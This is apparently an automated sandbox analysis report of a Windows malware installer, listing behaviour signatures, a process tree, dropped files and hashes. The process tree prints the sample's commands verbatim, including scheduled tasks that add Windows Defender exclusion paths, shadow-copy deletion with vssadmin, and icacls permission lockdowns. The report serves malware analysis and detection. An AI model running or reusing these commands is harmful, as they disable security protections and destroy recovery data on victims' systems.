Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    24/10/2026, 16:24

General

  • Target
    install.2.0.02.exe
  • Size 38.9MB
  • Sample261024-twddlszz4j
  • SHA256 1c9f20f931143036616204493757aeb21354ce81adce5e4923fdb4ae738aec9e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 6 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 6 IoCs
  • Modifies file permissions 1 TTPs 15 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

    Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

  • Executes a command shell one-liner 1 TTPs 23 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 39 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Control Panel 4 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of WriteProcessMemory 59 IoCs
  • System policy modification 1 TTPs 1 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:3132
  • C:\Users\Public\PV19oZ\LMK8Hk.exe
    C:\Users\Public\PV19oZ\LMK8Hk.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4840
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\PV19oZ\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:2256
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\PV19oZ\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5032
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5908
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4948
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:5452
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5848
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:368
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:6036
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1784
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:640
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:240
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5184
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4256
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3972
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3508
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5088
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:1144
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4976
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:3420
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4052
                        • C:\Program Files (x86)\nfHyc7\nfHyc7.exe
                          "C:\Program Files (x86)\nfHyc7\nfHyc7.exe"
                          2⤵
                          • UAC bypass
                          • Drops file in Drivers directory
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Adds Run key to start application
                          • Drops file in Program Files directory
                          • Event Triggered Execution: Screensaver
                          • Reads the TCP/IP host and domain name from the registry
                          • System Location Discovery: System Language Discovery
                          • Modifies Control Panel
                          • Suspicious use of WriteProcessMemory
                          • System policy modification
                          PID:5780
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c vssadmin delete shadows /all /quiet
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            PID:1304
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\nfHyc7" /inheritance:r
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:1132
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\nfHyc7" /inheritance:r
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:3772
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c echo.>c:\xxxx.ini
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            PID:3236
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c echo.>c:\xxxx.ini
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            PID:5384
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c echo.>c:\xxxx.ini
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            PID:3412
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c echo.>c:\xxxx.ini
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            PID:8
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\nfHyc7" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:5096
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\nfHyc7" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:1556
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\nfHyc7" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:3048
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\nfHyc7" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:4672
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\nfHyc7\nfHyc7.exe" /inheritance:r
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:928
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\nfHyc7\nfHyc7.exe" /inheritance:r
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:2884
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\nfHyc7\nfHyc7.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:2592
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\nfHyc7\nfHyc7.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:5920
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\nfHyc7\nfHyc7.exe" /grant:r Users:(RX) /deny Users:(DE)
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:5016
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\nfHyc7\nfHyc7.exe" /grant:r Users:(RX) /deny Users:(DE)
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:5100
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\nfHyc7\image.png" /inheritance:r
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:5160
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\nfHyc7\image.png" /inheritance:r
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:2096
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\nfHyc7\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:5148
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\nfHyc7\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:4208
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\nfHyc7\image.png" /grant:r Users:(RX) /deny Users:(DE)
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:1432
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\nfHyc7\image.png" /grant:r Users:(RX) /deny Users:(DE)
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:4764
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\nfHyc7\thumbs.db" /inheritance:r
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:4356
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\nfHyc7\thumbs.db" /inheritance:r
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:5564
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\nfHyc7\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:5992
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\nfHyc7\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:1540
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\nfHyc7\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:5704
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\nfHyc7\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:560
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\nfHyc7\XPSPLOG.dll" /inheritance:r
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:456
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\nfHyc7\XPSPLOG.dll" /inheritance:r
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:2364
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\nfHyc7\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:2584
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\nfHyc7\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:964
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\nfHyc7\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:64
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\nfHyc7\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:3488
                      • C:\Users\Public\PV19oZ\LMK8Hk.exe
                        "C:\Users\Public\PV19oZ\LMK8Hk.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:5932
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\PV19oZ" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:3172
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\PV19oZ" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:3932
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:3376
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:228
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1508
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3608
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3700
                        • C:\Program Files (x86)\nfHyc7\nfHyc7.exe
                          "C:\Program Files (x86)\nfHyc7\nfHyc7.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • System Location Discovery: System Language Discovery
                          PID:4540
                        • C:\Program Files (x86)\nfHyc7\nfHyc7.exe
                          "C:\Program Files (x86)\nfHyc7\nfHyc7.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • System Location Discovery: System Language Discovery
                          PID:4556
                        • C:\Program Files (x86)\o3M924A\1B17V.exe
                          "C:\Program Files (x86)\o3M924A\1B17V.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • System Location Discovery: System Language Discovery
                          PID:2684

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              XPSPLOG.dll

                              • Path C:\Program Files (x86)\nfHyc7\XPSPLOG.dll
                              • Size 4.6MB
                              • SHA256 40ba84faf4516d1d7cc86d67f61a8c720cf85202a3c2c961481d4ad091a1e8df
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              image.png

                              • Path C:\Program Files (x86)\nfHyc7\image.png
                              • Size 4.8MB
                              • SHA256 c8df1e7adb92fbdd57136415e8a25a4a4dd2ad02fffca41642ebdad6ad40b8e0
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              nfHyc7.exe

                              • Path C:\Program Files (x86)\nfHyc7\nfHyc7.exe
                              • Size 145KB
                              • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              thumbs.db

                              • Path C:\Program Files (x86)\nfHyc7\thumbs.db
                              • Size 358KB
                              • SHA256 12687116518db04ffc4887a8fc686eccf2a5e1abd4ca5be7fdc73643c5a281f9
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              XPSPLOG.dll

                              • Path C:\Program Files (x86)\o3M924A\XPSPLOG.dll
                              • Size 4.6MB
                              • SHA256 192b91133d080ee2632c962672fe8672f338bd25d915228113a3c8694434fd52
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              image.png

                              • Path C:\Program Files (x86)\o3M924A\image.png
                              • Size 4.8MB
                              • SHA256 98a159605e6e206b88b0328e2125a9311818aeaf1f05d43c9a8daacca27bd428
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 1KB
                              • SHA256 1536b2dc03501b4e6d1b9ea7b2714772fd68095cf038537ebdb7abfd26d72177
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 1KB
                              • SHA256 a0916b55774b1b3bf4b2b6513b70a4f8e66074ebb5d09a5e235b49cfe7163a85
                              • MD5 SHA1 SHA512 TLSH

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 512B
                              • SHA256 a2f9de05bcb7767ae0e6bb55f483e07a34da04a3c29a0a85cafa99e99ead75a3
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 506B
                              • SHA256 6ad740701efd8a08736e45cc11d5086ad03180254beaa9cd25b962beb2456eab
                              • MD5 SHA1 SHA512 TLSH

                              destopbak.ini

                              • Path C:\Users\Public\Music\destopbak.ini
                              • Size 2B
                              • SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
                              • MD5 SHA1 SHA512

                              LMK8Hk.exe

                              • Path C:\Users\Public\PV19oZ\LMK8Hk.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\PV19oZ\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 056719fe1f5e23f5ed18718dacdc2b993a78c8f273e931289a518eae49d1c430
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\PV19oZ\adoresd.dat
                              • Size 4.8MB
                              • SHA256 cec394f3fa9f4cbb03a3bff3cde7d3578cb5a45362e8e33aa844838d3ffc05b5
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\PV19oZ\msadox.tb
                              • Size 8KB
                              • SHA256 01351e605db44e629e40b2bb20acc1c57233b57558b6db6d5b9a9256e38e9adc
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              xxxx.ini

                              • Path \??\c:\xxxx.ini
                              • Size 2B
                              • SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
                              • MD5 SHA1 SHA512

                              memory/2684-749-0x0000000073CB0000-0x00000000743FA000-memory.dmp

                              memory/2684-761-0x0000000003070000-0x000000000384D000-memory.dmp

                              memory/2684-760-0x0000000000AA0000-0x0000000000AA1000-memory.dmp

                              memory/2684-748-0x0000000000A80000-0x0000000000A81000-memory.dmp

                              memory/2684-764-0x0000000000A80000-0x0000000000A81000-memory.dmp

                              memory/2684-757-0x0000000003070000-0x000000000384D000-memory.dmp

                              memory/3132-504-0x00007FFA08340000-0x00007FFA08350000-memory.dmp

                              memory/3132-525-0x00007FFA08340000-0x00007FFA08350000-memory.dmp

                              memory/3132-524-0x00000000001E0000-0x00000000001EE000-memory.dmp

                              memory/3132-0-0x00000000001E0000-0x00000000001EE000-memory.dmp

                              memory/3132-2-0x00000000001F0000-0x00000000001FC000-memory.dmp

                              memory/3132-1-0x00000000001E0000-0x00000000001EE000-memory.dmp

                              memory/4540-722-0x00000000751A0000-0x00000000758EA000-memory.dmp

                              memory/4540-743-0x0000000001740000-0x0000000001741000-memory.dmp

                              memory/4540-721-0x0000000001400000-0x0000000001401000-memory.dmp

                              memory/4540-729-0x0000000003BE0000-0x00000000043BD000-memory.dmp

                              memory/4540-744-0x0000000003BE0000-0x00000000043BD000-memory.dmp

                              memory/4540-747-0x0000000001400000-0x0000000001401000-memory.dmp

                              memory/4556-725-0x0000000000AE0000-0x0000000000AE1000-memory.dmp

                              memory/4556-731-0x0000000003210000-0x00000000039ED000-memory.dmp

                              memory/4556-726-0x00000000751A0000-0x00000000758EA000-memory.dmp

                              memory/4556-759-0x0000000000AE0000-0x0000000000AE1000-memory.dmp

                              memory/4556-754-0x0000000003210000-0x00000000039ED000-memory.dmp

                              memory/4556-753-0x0000000000B10000-0x0000000000B11000-memory.dmp

                              memory/4840-550-0x000001F9A1AC0000-0x000001F9A2397000-memory.dmp

                              memory/4840-561-0x000001F9A24B0000-0x000001F9A253A000-memory.dmp

                              memory/4840-555-0x000001F9A1AC0000-0x000001F9A2397000-memory.dmp

                              memory/4840-556-0x000001F9A1AC0000-0x000001F9A2397000-memory.dmp

                              memory/4840-530-0x00007FFA13570000-0x00007FFA13572000-memory.dmp

                              memory/4840-564-0x000001F9A24B0000-0x000001F9A253A000-memory.dmp

                              memory/4840-563-0x000001F9A24B0000-0x000001F9A253A000-memory.dmp

                              memory/4840-562-0x000001F9A24B0000-0x000001F9A253A000-memory.dmp

                              memory/4840-531-0x00007FF9F6C90000-0x00007FF9F71AE000-memory.dmp

                              memory/4840-538-0x00007FFA13580000-0x00007FFA13582000-memory.dmp

                              memory/4840-536-0x000001F9A1AC0000-0x000001F9A2397000-memory.dmp

                              memory/4840-560-0x000001F9A23D0000-0x000001F9A241E000-memory.dmp

                              memory/4840-545-0x000001F9A1AC0000-0x000001F9A2397000-memory.dmp

                              memory/4840-546-0x000001F9A1AC0000-0x000001F9A2397000-memory.dmp

                              memory/4840-539-0x000001F9A1AC0000-0x000001F9A2397000-memory.dmp

                              memory/4840-544-0x000001F9A1AC0000-0x000001F9A2397000-memory.dmp

                              memory/4840-543-0x000001F9A1AC0000-0x000001F9A2397000-memory.dmp

                              memory/5780-716-0x00000000036E0000-0x0000000003EBD000-memory.dmp

                              memory/5780-715-0x00000000036E0000-0x0000000003EBD000-memory.dmp

                              memory/5780-689-0x00000000036E0000-0x0000000003EBD000-memory.dmp

                              memory/5780-690-0x0000000010000000-0x0000000010061000-memory.dmp

